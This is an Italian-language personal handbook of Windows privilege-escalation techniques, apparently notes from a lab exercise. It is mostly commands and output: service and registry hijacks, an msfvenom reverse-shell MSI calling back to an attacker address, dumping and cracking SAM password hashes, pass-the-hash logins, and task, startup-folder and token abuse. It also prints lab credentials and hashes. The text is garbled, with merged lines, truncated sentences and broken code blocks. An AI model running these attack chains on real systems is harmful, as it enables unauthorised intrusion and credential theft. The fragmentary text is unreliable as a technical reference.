
Il mio manuale sui concetti di escalation dei privilegi in Windows. Dai un'occhiata alla mia playlist, link: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
Un punto importante da notare sono i gruppi: qualsiasi utente del gruppo Administrator ci aiuta a fare escalation!
whoami /priv - privilegi dell'utente correntenet users - elenca tutti gli utentinet user <username> - elenca i dettagli di un utente specificoqwinsta - altri utenti connessi contemporaneamentenet localgroup - gruppi disponibili nel sistemanet localgroup <group-name> - elenca i membri di un gruppo specificosysteminfo - fornisce tutte le informazioni sul sistema operativohostname - nome host del sistemafindstr /si password *.txt - cerchiamo i file che contengono 'password' e per di più nei file di testowmic qfe get Caption,Description,HotFixID,InstalledOn - fornisce informazioni sulle patch di sicurezza e relative informazioninetstat -ano - connessioni associate alla macchinasysteminfo sulla tua macchina: questo è l'unico requisito per questo strumentowmic product get name,version,vendor - fornisce nome, versione e vendor del prodotto. Questo comando in particolare dà una visualizzazione chiara di ciò che ci serve.wmic service list brief | findstr "Running" e per ottenere maggiori informazioni sul servizio usa sc qc <ServiceName>post/multi/recon/local_exploit_suggester; assicurati che la tua sessione sia in background così che questo strumento funzioni correttamente, oppure puoi semplicemente caricarlo da meterpreter.winpeas.exe --helpsysteminfo, copiale in un file e dagli un'estensione .txtQui cercheremo di identificare i servizi con permessi non sicuri e poi proveremo a sfruttarli.
Qui possiamo usare il comando winpeas.exe servicesinfo e vedere i servizi che sono piuttosto utili
Una parte interessante dell'output è questa,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- Ma per ottenere maggiori informazioni possiamo usare uno strumento chiamato **accesschk** di Microsoft, eseguirlo come segue `accesschk.exe /accepteula -uwcqv <current-user> <service>`, l'output è,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config, dove possiamo modificare la configurazione del servizio.sc qc <service> e poi prendi nota del Binary_path_name (può anche essere chiamato binpath), che andremo a modificare (sorriso malvagio)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" e poi avvia il servizio sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- Per ottenere più informazioni basta usare lo script **WinPEAS** con l'opzione `servicesinfo`, qui possiamo vedere informazioni se possiamo sfruttare un **Unquoted Service Path**, Qui ho eseguito lo strumento e la parte interessante dell'output è questa,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>C:\Program Files\Unquoted Path Service usando accesschk, quindi esegui accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Output:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- Abbiamo il permesso di lettura e scrittura.
- Ora creeremo un payload e lo incolleremo in `C:\Program Files\Unquoted Path Service`, tramite `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`, qui lo sto nominando con un nome diverso che offre anche un vantaggio per quanto riguarda l'ordine alfabetico.
- Ora avviamo il servizio, `sc start unquotedsvc`, siamo admin!!!
-----------------------
### Permessi di registro deboli:
- Qui proveremo a sfruttare i servizi con permessi di registro deboli.
- per cercarli dobbiamo usare `Winpeas` con l'opzione `servicesinfo`. L'output è simile a questo```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
regsvc, quindi approfondiamo questo servizio, esegui sc qc regsvc e l'output è,```
sc qc regsvc
[SC] QueryServiceConfig SUCCESSSERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- Un fatto interessante è che il percorso è tra virgolette, quindi niente **Unquoted Service Path**.
- Ora eseguiamo `accesschk.exe` e approfondiamo, quindi esegui `accesschk /acceptula -uvwqk <path of registry>` (che è `HKLM\system\currentcontrolset\services\regsvc`)
- Cerca `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` nell'output e ora siamo pronti per sfruttare.
- Ora vediamo le opzioni all'interno del registro usando `reg query HKLM\system\currentcontrolset\services\regsvc` e ho trovato un'opzione chiamata `ImagePath` che accetta un valore eseguibile, quindi sfruttiamola. Prima di tutto crea una reverse-shell.
- Ora esegui `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, scegli il percorso del payload in base alle tue esigenze.
- Ora avvia il servizio con `net start regsvc` ed evviva! Ho ottenuto la shell.
-----------------------
### Eseguibili di servizio insicuri:
- Qui i permessi sui file di un servizio sono accessibili a tutti! Proviamo a cambiare l'eseguibile del servizio e siamo a posto!
- Eseguiamo **Winpeas** specificamente con il modulo **servicesinfo** e vediamo qualcosa di interessante; l'output è,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc, so we'll create a payload a reverse_shell and replace that with the executable of the service and we'll obtain shell.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - this will display autorun programs and their paths.- Abbiamo 2 programmi con percorso, quindi testiamo.
- Ora eseguiremo **accesscheck** per vedere quali permessi sono disponibili per il percorso di questi autorun
- Basta eseguire `accesschk.exe \accepteula -wvu "<path>"`: l'ho eseguito per il percorso dell'autorun di **My Program** e l'output indicava `FILE_ALL_ACCESS`, quindi possiamo letteralmente fare qualsiasi cosa in questa cartella. Principalmente possiamo sostituire l'eseguibile originale e riavviare il sistema per ottenere una shell.
- Ora dobbiamo aspettare il login dell'amministratore e otterremo la shell come utente privilegiato!
- Il problema è che dobbiamo aspettare che l'amministratore/proprietario acceda, altrimenti siamo a posto!
------------------------------
### AlwaysInstallElevated
- Consente all'utente standard di installare **msi**(Microsoft Installer) con privilegi amministrativi.
- Questo è comodo e facile per ottenere privilegi più elevati,
- Possiamo verificarlo eseguendo,
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` e
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Esegui entrambi i comandi e il valore per **AlwaysInstallElevated** deve essere 1 o 0x1. Così possiamo confermare e procedere.
- Ora crea una reverse shell in formato **msi**; per riferimento controlla il comando qui sotto,
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Ora trasferiscilo sulla macchina Windows ed esegui il comando,
`msiexec /quiet /qn /i reverse.msi`
- Evviva! Abbiamo ottenuto la shell come `nt authority\system`
------------------
-------------------
## Password:
- Qui cerchiamo credenziali nel registro, nei file...ecc
- E proveremo ad accedere!
----------------------
### Cercare password nel Registry:
- Possiamo cercare password nel registro; a volte possiamo trovare le password di altri utenti o persino la password del proprietario.
- Esegui `reg query HKLM /f password /t REG_SZ /s`: questo restituisce tutti i dettagli nel registro che contengono la stringa **password**; cerca e potresti trovarla! Ma la parte triste è che non sono riuscito a ottenerne nessuna!
- Esegui anche `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`, potremmo trovare qualche informazione.
- Possiamo anche usare il nostro leggendario strumento **winPEAS** con alcune opzioni come `windowscreds` - cerca credenziali, e anche `filesinfo` - esamina file e registro per dati utili (a volte anche password)
- Dopo aver ottenuto la password, qui è `password123`, quindi ora accediamo con l'aiuto di **psexec** (link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) e la sintassi è `python3 psexec.py [email protected]`; poi ti chiederà la password, inseriscila e otterremo l'accesso come admin!
-------------------------
### Password : Savedcreds
- Prima di tutto esegui `cmdkey /list`; qui **cmdkey** è un'applicazione di Windows Server che *crea, elenca e elimina nomi utente e password o credenziali salvati*. Eseguendolo possiamo vedere tutte le credenziali degli utenti salvate!
- L'output è,```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe, questo ci darà i privilegi di amministratoreC:\Windows\Repair, così possiamo giocarci! In quella directory ci sono 2 file, ovvero SAM e SYSTEMdownload di meterpreterpython2 pwdump.py /opt/work/SYSTEM /opt/work/SAM che mostrerà gli hash degli utenti disponibili nella macchina Windows. L'output è,```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::- Ora salva il contenuto precedente in un file di testo e craccalo con l'aiuto di **JohnTheRipper**; la sintassi è `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, ed è stato craccato!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0daexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da qui stiamo usando anche l'hash con il groupidpth-winexe -U admin% //10.10.213.97 cmd.exe, ho ottenuto una shell come adminpth-winexe è già disponibile in Kali.schtasks /query /fo LIST /VCleanUp.ps1 sembra interessante e il percorso è C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 e abbiamo tutti i privilegi di lettura, scrittura... ecc.- Poi ho trasferito e rinominato come `CleanUp.ps1` e ho ottenuto la connessione.
--------------------
---------------------
## App GUI non sicure:
- Dopo aver ottenuto la connessione RDP, apri `Taskmanager` e nella scheda `Details` possiamo vedere le applicazioni e l'utente che le sta eseguendo.
- Qui hanno configurato intenzionalmente `mspaint.exe` per essere eseguito come admin, quindi questo sarà il nostro bersaglio.
- Dato che lavoriamo con **Paint**, avremo un'opzione per aprire i file, quindi apriremo `file://c:/windows/system32/cmd.exe` e boom! Otteniamo la shell come utente **admin**!
- Qui la funzionalità è un po' limitata perché potremmo non ottenere sempre una connessione RDP.
-----------------------
----------------------
## App di avvio:
- Windows ha una funzionalità che consente ad alcune app di essere eseguite all'avvio; possiamo abusare di questa funzionalità.
- Le app di avvio si trovano in `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, questo è il percorso predefinito.
- Vediamo cosa possiamo fare tramite **accesschk.exe**, quindi esegui `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. L'output è,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs che viene eseguito con privilegi di amministratore e il cui scopo principale è creare un collegamento per la reverse-shell che abbiamo caricato.list_tokens -u nella sessione di meterpreter; dopo aver trovato un token interessante, esegui impersonate_token <name of token>whomai /priv e vedere i privilegi dell'utente corrente; lì, se troviamo un privilegio come SeAssignPrimaryToken... ecc., che sono piuttosto pericolosi, è davvero pericoloso! Per saperne di più su questi privilegi e su come sfruttarli, consulta questo articolo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System
[Ancora in corso.....]schtasks /query /fo LIST /v - per cercare eventuali attività pianificatedriverquery - elenca le informazioni relative ai driversc query windefend - cerca il servizio antivirus